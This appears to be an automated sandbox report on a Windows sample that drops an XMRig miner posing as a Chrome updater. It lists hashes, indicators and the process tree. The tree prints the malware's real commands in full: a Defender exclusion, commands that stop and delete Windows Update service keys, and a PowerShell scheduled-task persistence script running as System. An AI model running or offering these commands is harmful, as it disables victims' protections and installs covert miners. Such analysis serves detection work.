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230329-1c2enaaa35 10Analysis
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max time kernel
1441s -
max time network
1800s -
platform
windows7_x64 -
resource
win7-20230220-en -
resource tags
arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system -
submitted
30-03-2023 21:18
Static task
static1
Behavioral task
behavioral1
Sample
testing.exe
Resource
win7-20230220-en
General
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Target
testing.exe
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Size
2.1MB
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MD5
a12bc9557ad889a49e7b4f970c78dda8
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SHA1
5383b8e6d09d41384281b95f9ccc8e050e7c04fa
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SHA256
9940b1f8deb931e431dded69a71e6c9ac4c9e7d4fa560932f92cf0ae94cc65e0
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SHA512
be8ca69b115aea7382ad4a780a0452a0df986bb036aec0aea3cac9f4b0d598c4256f0732720a5ee83fc05cd7dac7adf545792f91f2b60a05027a1811f12000ee
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SSDEEP
24576:MHOygNfXDgkB9Y+AVIGckFdi3MUxbw+0AX4xVILyqe7keglf9BHHpRNt05sJNuI6:MuhBSda2+0+4xKLyqewBnfNwsJNO
Malware Config
Signatures
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Modifies security service 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 13 IoCs
Processes:
testing.exeupdater.execonhost.exedescription pid process target process PID 1096 created 1216 1096 testing.exe Explorer.EXE PID 1096 created 1216 1096 testing.exe Explorer.EXE PID 1096 created 1216 1096 testing.exe Explorer.EXE PID 1096 created 1216 1096 testing.exe Explorer.EXE PID 1096 created 1216 1096 testing.exe Explorer.EXE PID 1952 created 1216 1952 updater.exe Explorer.EXE PID 1952 created 1216 1952 updater.exe Explorer.EXE PID 1952 created 1216 1952 updater.exe Explorer.EXE PID 1952 created 1216 1952 updater.exe Explorer.EXE PID 1952 created 1216 1952 updater.exe Explorer.EXE PID 2036 created 1216 2036 conhost.exe Explorer.EXE PID 1952 created 1216 1952 updater.exe Explorer.EXE PID 1952 created 1216 1952 updater.exe Explorer.EXE -
XMRig Miner payload 31 IoCs
Processes:
resource yara_rule behavioral1/memory/752-107-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/752-111-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/752-112-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/752-116-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/752-118-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/752-120-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/752-122-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/752-124-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/752-126-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/752-128-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/752-130-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/752-132-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/752-134-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/752-136-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/752-138-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/752-140-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/752-142-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/752-144-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/752-146-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/752-148-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/752-150-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/752-152-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/752-154-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/752-156-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/752-158-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/752-160-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/752-162-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/752-164-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/752-166-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/752-168-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/752-170-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Drops file in Drivers directory 2 IoCs
Processes:
testing.exeupdater.exedescription ioc process File created C:\Windows\System32\drivers\etc\hosts testing.exe File created C:\Windows\System32\drivers\etc\hosts updater.exe -
Stops running service(s) 3 TTPs
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Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 1952 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 1912 taskeng.exe -
Processes:
resource yara_rule behavioral1/memory/752-107-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/752-111-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/752-112-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/752-116-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/752-118-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/752-120-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/752-122-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/752-124-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/752-126-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/752-128-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/752-130-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/752-132-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/752-134-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/752-136-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/752-138-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/752-140-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/752-142-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/752-144-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/752-146-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/752-148-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/752-150-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/752-152-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/752-154-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/752-156-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/752-158-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/752-160-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/752-162-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/752-164-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/752-166-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/752-168-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/752-170-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 1952 set thread context of 2036 1952 updater.exe conhost.exe PID 1952 set thread context of 752 1952 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
testing.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe testing.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 1848 sc.exe 1424 sc.exe 1052 sc.exe 864 sc.exe 1776 sc.exe 2036 sc.exe 1636 sc.exe 1756 sc.exe 1304 sc.exe 2008 sc.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1648 schtasks.exe 1720 schtasks.exe -
Modifies data under HKEY_USERS 3 IoCs
Processes:
powershell.exeWMIC.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = d04e950e5e63d901 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 31 IoCs
Processes:
testing.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 1096 testing.exe 1096 testing.exe 1692 powershell.exe 1096 testing.exe 1096 testing.exe 1096 testing.exe 1096 testing.exe 1096 testing.exe 1096 testing.exe 1156 powershell.exe 1096 testing.exe 1096 testing.exe 1608 powershell.exe 1952 updater.exe 1952 updater.exe 1576 powershell.exe 1952 updater.exe 1952 updater.exe 1952 updater.exe 1952 updater.exe 1952 updater.exe 1952 updater.exe 1660 powershell.exe 1952 updater.exe 1952 updater.exe 2036 conhost.exe 2036 conhost.exe 1952 updater.exe 1952 updater.exe 1952 updater.exe 1952 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 464 -
Suspicious use of AdjustPrivilegeToken 39 IoCs
Processes:
powershell.exepowercfg.exepowercfg.exepowercfg.exepowershell.exepowercfg.exepowershell.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowershell.exepowercfg.exeupdater.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 1692 powershell.exe Token: SeShutdownPrivilege 648 powercfg.exe Token: SeShutdownPrivilege 1328 powercfg.exe Token: SeShutdownPrivilege 668 powercfg.exe Token: SeDebugPrivilege 1156 powershell.exe Token: SeShutdownPrivilege 1268 powercfg.exe Token: SeDebugPrivilege 1608 powershell.exe Token: SeDebugPrivilege 1576 powershell.exe Token: SeShutdownPrivilege 1764 powercfg.exe Token: SeShutdownPrivilege 524 powercfg.exe Token: SeShutdownPrivilege 1304 powercfg.exe Token: SeDebugPrivilege 1660 powershell.exe Token: SeShutdownPrivilege 1040 powercfg.exe Token: SeDebugPrivilege 1952 updater.exe Token: SeAssignPrimaryTokenPrivilege 1096 WMIC.exe Token: SeIncreaseQuotaPrivilege 1096 WMIC.exe Token: SeSecurityPrivilege 1096 WMIC.exe Token: SeTakeOwnershipPrivilege 1096 WMIC.exe Token: SeLoadDriverPrivilege 1096 WMIC.exe Token: SeSystemtimePrivilege 1096 WMIC.exe Token: SeBackupPrivilege 1096 WMIC.exe Token: SeRestorePrivilege 1096 WMIC.exe Token: SeShutdownPrivilege 1096 WMIC.exe Token: SeSystemEnvironmentPrivilege 1096 WMIC.exe Token: SeUndockPrivilege 1096 WMIC.exe Token: SeManageVolumePrivilege 1096 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1096 WMIC.exe Token: SeIncreaseQuotaPrivilege 1096 WMIC.exe Token: SeSecurityPrivilege 1096 WMIC.exe Token: SeTakeOwnershipPrivilege 1096 WMIC.exe Token: SeLoadDriverPrivilege 1096 WMIC.exe Token: SeSystemtimePrivilege 1096 WMIC.exe Token: SeBackupPrivilege 1096 WMIC.exe Token: SeRestorePrivilege 1096 WMIC.exe Token: SeShutdownPrivilege 1096 WMIC.exe Token: SeSystemEnvironmentPrivilege 1096 WMIC.exe Token: SeUndockPrivilege 1096 WMIC.exe Token: SeManageVolumePrivilege 1096 WMIC.exe Token: SeLockMemoryPrivilege 752 conhost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.exepowershell.execmd.exepowershell.exetaskeng.execmd.exedescription pid process target process PID 756 wrote to memory of 648 756 cmd.exe powercfg.exe PID 756 wrote to memory of 648 756 cmd.exe powercfg.exe PID 756 wrote to memory of 648 756 cmd.exe powercfg.exe PID 756 wrote to memory of 1328 756 cmd.exe powercfg.exe PID 756 wrote to memory of 1328 756 cmd.exe powercfg.exe PID 756 wrote to memory of 1328 756 cmd.exe powercfg.exe PID 756 wrote to memory of 668 756 cmd.exe powercfg.exe PID 756 wrote to memory of 668 756 cmd.exe powercfg.exe PID 756 wrote to memory of 668 756 cmd.exe powercfg.exe PID 756 wrote to memory of 1268 756 cmd.exe powercfg.exe PID 756 wrote to memory of 1268 756 cmd.exe powercfg.exe PID 756 wrote to memory of 1268 756 cmd.exe powercfg.exe PID 1156 wrote to memory of 1648 1156 powershell.exe schtasks.exe PID 1156 wrote to memory of 1648 1156 powershell.exe schtasks.exe PID 1156 wrote to memory of 1648 1156 powershell.exe schtasks.exe PID 768 wrote to memory of 1052 768 cmd.exe sc.exe PID 768 wrote to memory of 1052 768 cmd.exe sc.exe PID 768 wrote to memory of 1052 768 cmd.exe sc.exe PID 768 wrote to memory of 864 768 cmd.exe sc.exe PID 768 wrote to memory of 864 768 cmd.exe sc.exe PID 768 wrote to memory of 864 768 cmd.exe sc.exe PID 768 wrote to memory of 1304 768 cmd.exe sc.exe PID 768 wrote to memory of 1304 768 cmd.exe sc.exe PID 768 wrote to memory of 1304 768 cmd.exe sc.exe PID 768 wrote to memory of 1776 768 cmd.exe sc.exe PID 768 wrote to memory of 1776 768 cmd.exe sc.exe PID 768 wrote to memory of 1776 768 cmd.exe sc.exe PID 768 wrote to memory of 2036 768 cmd.exe sc.exe PID 768 wrote to memory of 2036 768 cmd.exe sc.exe PID 768 wrote to memory of 2036 768 cmd.exe sc.exe PID 768 wrote to memory of 1948 768 cmd.exe reg.exe PID 768 wrote to memory of 1948 768 cmd.exe reg.exe PID 768 wrote to memory of 1948 768 cmd.exe reg.exe PID 768 wrote to memory of 944 768 cmd.exe reg.exe PID 768 wrote to memory of 944 768 cmd.exe reg.exe PID 768 wrote to memory of 944 768 cmd.exe reg.exe PID 768 wrote to memory of 1368 768 cmd.exe reg.exe PID 768 wrote to memory of 1368 768 cmd.exe reg.exe PID 768 wrote to memory of 1368 768 cmd.exe reg.exe PID 768 wrote to memory of 296 768 cmd.exe reg.exe PID 768 wrote to memory of 296 768 cmd.exe reg.exe PID 768 wrote to memory of 296 768 cmd.exe reg.exe PID 768 wrote to memory of 1012 768 cmd.exe reg.exe PID 768 wrote to memory of 1012 768 cmd.exe reg.exe PID 768 wrote to memory of 1012 768 cmd.exe reg.exe PID 1608 wrote to memory of 316 1608 powershell.exe schtasks.exe PID 1608 wrote to memory of 316 1608 powershell.exe schtasks.exe PID 1608 wrote to memory of 316 1608 powershell.exe schtasks.exe PID 1912 wrote to memory of 1952 1912 taskeng.exe updater.exe PID 1912 wrote to memory of 1952 1912 taskeng.exe updater.exe PID 1912 wrote to memory of 1952 1912 taskeng.exe updater.exe PID 868 wrote to memory of 2008 868 cmd.exe sc.exe PID 868 wrote to memory of 2008 868 cmd.exe sc.exe PID 868 wrote to memory of 2008 868 cmd.exe sc.exe PID 868 wrote to memory of 1636 868 cmd.exe sc.exe PID 868 wrote to memory of 1636 868 cmd.exe sc.exe PID 868 wrote to memory of 1636 868 cmd.exe sc.exe PID 868 wrote to memory of 1756 868 cmd.exe sc.exe PID 868 wrote to memory of 1756 868 cmd.exe sc.exe PID 868 wrote to memory of 1756 868 cmd.exe sc.exe PID 868 wrote to memory of 1848 868 cmd.exe sc.exe PID 868 wrote to memory of 1848 868 cmd.exe sc.exe PID 868 wrote to memory of 1848 868 cmd.exe sc.exe PID 868 wrote to memory of 1424 868 cmd.exe sc.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
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C:\Users\Admin\AppData\Local\Temp\testing.exe"C:\Users\Admin\AppData\Local\Temp\testing.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thaqo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#mibqiuc#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thaqo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe piwxkhozdwrizr2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe ajhvfdbttvpjvzel 6E3sjfZq2rJQaxvLPmXgsA4f0StS9pic9Xw++oZ1mnbMNdSoXP4ts/KtNDhUPQkUDVw9rZbme/VWRaCGMVy5A4KWmOYusR4Ik0iMHdgwpNOcjbYY5GHdN0CGOwXnubuj1k8SXyOPHLg/wcO08HTPQBCprXvYsSFocqjzqXvCOk3makNm0IivIoZ1KZt2YxT6Ci+BE7B/M5vRdKOrAlIyiTLPowHv2xwlgKELrnhNzBo4cDejdbTidr1qPNdTi4IwjcYnuD1ZGEEk854175l0vqhgS0J4NKy9OfqC4ZDiL7DMzbXsHZBHh2Jw55sStIs/MAZNnhxYjBZpkoZpwPghg6VnLEX8RYirlFk+ArUNG/2+FGzSRQ3kSkHyDV437Fza2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskeng.exetaskeng.exe {F1FE0EDE-4F47-4365-80F8-9460F3C40A8C} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
-
C:\Program Files\Google\Chrome\updater.exeFilesize
2.1MB
MD5a12bc9557ad889a49e7b4f970c78dda8
SHA15383b8e6d09d41384281b95f9ccc8e050e7c04fa
SHA2569940b1f8deb931e431dded69a71e6c9ac4c9e7d4fa560932f92cf0ae94cc65e0
SHA512be8ca69b115aea7382ad4a780a0452a0df986bb036aec0aea3cac9f4b0d598c4256f0732720a5ee83fc05cd7dac7adf545792f91f2b60a05027a1811f12000ee
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C:\Program Files\Google\Chrome\updater.exeFilesize
2.1MB
MD5a12bc9557ad889a49e7b4f970c78dda8
SHA15383b8e6d09d41384281b95f9ccc8e050e7c04fa
SHA2569940b1f8deb931e431dded69a71e6c9ac4c9e7d4fa560932f92cf0ae94cc65e0
